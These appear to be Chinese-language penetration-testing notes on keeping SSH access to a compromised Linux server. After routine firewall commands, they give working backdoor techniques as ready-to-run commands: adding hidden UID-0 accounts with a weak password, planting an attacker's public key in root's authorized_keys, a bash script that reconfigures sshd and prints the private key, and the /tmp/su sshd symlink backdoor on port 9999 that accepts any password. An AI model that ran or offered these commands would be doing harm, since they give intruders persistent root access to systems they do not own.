iptables -L
如果你想通过iptables添加规则允许任何IP连接SSH,你可以使用以下命令。这里假设你使用的是默认的SSH端口22。
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 10086 -j ACCEPT
这个命令添加一个规则,允许TCP流量通过到达目标端口22(SSH端口)。-A INPUT
意味着将规则添加到输入链(incoming chain)。
然后,你需要保存iptables规则以确保它们在系统重新启动时保持。你可以使用以下命令:
sudo service iptables save
sudo service iptables restart
或者,如果你使用的是ufw
(Ubuntu的简化防火墙管理工具),你可以使用以下命令:
sudo ufw allow 22
这将允许SSH流量通过ufw,然后你可以使用sudo ufw enable
保存并激活规则。
请注意,开放所有IP访问SSH可能存在安全风险。最好限制允许连接的IP范围,以提高安全性。如果服务器直接暴露在公共网络上,强烈建议使用密钥进行身份验证,而不是仅仅依赖密码。
启动: systemctl start firewalld
查看状态: systemctl status firewalld
禁用,禁止开机启动: systemctl disable firewalld
停止运行: systemctl stop firewalld
firewall-cmd --list-port //查看防火墙已经开放的端口
firewall-cmd --reload firewall-cmd --list-port //查看防火墙已经开放的端口
删除:
firewall-cmd --zone=public --remove-port=80/tcp --permanent
增加
firewall-cmd --zone=public --add-port=5/tcp --permanent
方法1 添加账号redi1s,设置uid为0,密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` redi1s -o -u 0 -g root -G root -s /bin/bash -d /home/test1
ssh redi1s@IP
方法2
echo "test2:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd test2 #修改test2的密码为123456
echo "redis:x:0:1001:::/bin/bash" | sudo teehee -a /etc/passwd
ubuntu/debain
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
centos
firewall-cmd --zone=public --add-port=22/tcp --permanent
ps -e| grep ssh
启动SSH服务的命令取决于操作系统。以下是一些不同操作系统上启动SSH服务的命令:
Linux
Systemd 系统(例如 Ubuntu 16.04+,CentOS 7+):
sudo systemctl start ssh
SysV Init 系统(例如 Ubuntu 14.04,CentOS 6):
sudo service ssh start
macOS
sudo systemsetup -setremotelogin on
ssh登录时会先检查公钥,公钥位置在~/.ssh/authorized_keys
在某些系统上,你可能需要直接启动SSH守护进程,而不使用服务管理工具。SSH守护进程的二进制文件通常是sshd
。你可以使用以下命令:
/usr/sbin/sshd
如果想要 利用公私钥登录而无需输入密码,需要更改如下配置
文件目录在/etc/ssh
ssh_config
PasswordAuthentication yes
sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
攻击机生成 存放在~/.ssh
ssh-keygen -t rsa #三次回车
id_rsa : 私钥
id_rsa.pub : 公钥
上传公钥至目标主机即可
路径 /root/.ssh/authorized_keys
ssh-keygen -t rsa
cd /root/.ssh
touch authorized_keys
cat id_rsa.pub >> authorized_keys
或者导入本机的公钥
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIiRWbvrujmlEO1QNPXDeNejtuihzyNzqj+kAVIrE4RrEznN/9gmdkeCQ9Iw7Lp247PhHaoG770SmsFv/NKNlsgT/hYvSbHVVkX6lxsGlIjtbOTCxvuOIH7UmjVYxyGjeQBKjUZId3/XdWlUhMhEYkCX9pZPGZfyBhrJqcz/gdTyQkcMNJTk+pfOUlZ5M8WwGCp0+e0Kw3ybPGT0NPAdFrApRoLhRJy8EVVy+eQ6VkShZWljI5+6wZNZ6kxjSS/krE2dnESLYmgrgB2/tMjIOTjvljCSgau+zIsoAcGJzGjKTWNrHJiboMtdnW3AxUKjOGJitjc/9GjhL96d9GNjaL
如果遇到 密钥不匹配问题
ssh -i id_rsa -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 -oHostKeyAlgorithms=ssh-rsa,ssh-dss root@IP
#!/bin/bash
# 添加防火墙规则允许SSH流量
iptables -A INPUT -p tcp --dport 22 -j ACCEPT || true
# CentOS防火墙规则(永久生效)
firewall-cmd --zone=public --add-port=22/tcp --permanent || true
firewall-cmd --reload || true
# 启动SSH服务
/usr/sbin/sshd || true
# 配置SSH服务器
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config || true
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config || true
echo "AuthorizedKeysFile .ssh/authorized_keys" >> /etc/ssh/sshd_config || true
# 生成SSH密钥对(自动回车)
yes "" | ssh-keygen -t rsa || true
# 创建.ssh目录(如果不存在)
mkdir -p /root/.ssh || true
# 在.ssh目录中创建并编辑authorized_keys文件,添加公钥
touch /root/.ssh/authorized_keys || true
cat ~/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys || true #这里可以导入本机的密钥
# 打印生成的id_rsa文件内容
echo "生成的 id_rsa 文件内容:"
cat ~/.ssh/id_rsa || true
echo "配置完成."
ssh -i id_rsa [email protected]
3.1.1. 查看是否开启pam身份验证 这里如果是no可以去这个配置文件中直接去修改,不过需要是root权限哦。
cat /etc/ssh/sshd_config|grep UsePAM
3.1.2. 建立软连接 这里建立软连接后,需要将防火墙的端口开放,如果防火墙是关闭的就无所谓了。
ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
#开启软链接,链接端口为9999
firewall-cmd --add-port=9999/tcp --permanent
#开启防火墙规则,不然会连接不上
firewall-cmd --reload
#重启防火墙服务
firewall-cmd --query-port=9999/tcp
#查看防火墙9999端口是否被放行,回显为YES即成功放行
iptables -A INPUT -p tcp --dport 9999 -j ACCEPT
3.1.3. 测试 这里后面的9999是端口,进去随便输入一些密码就可以登录进去了。
ssh [email protected] -p 9999 ##-p 后面这个是端口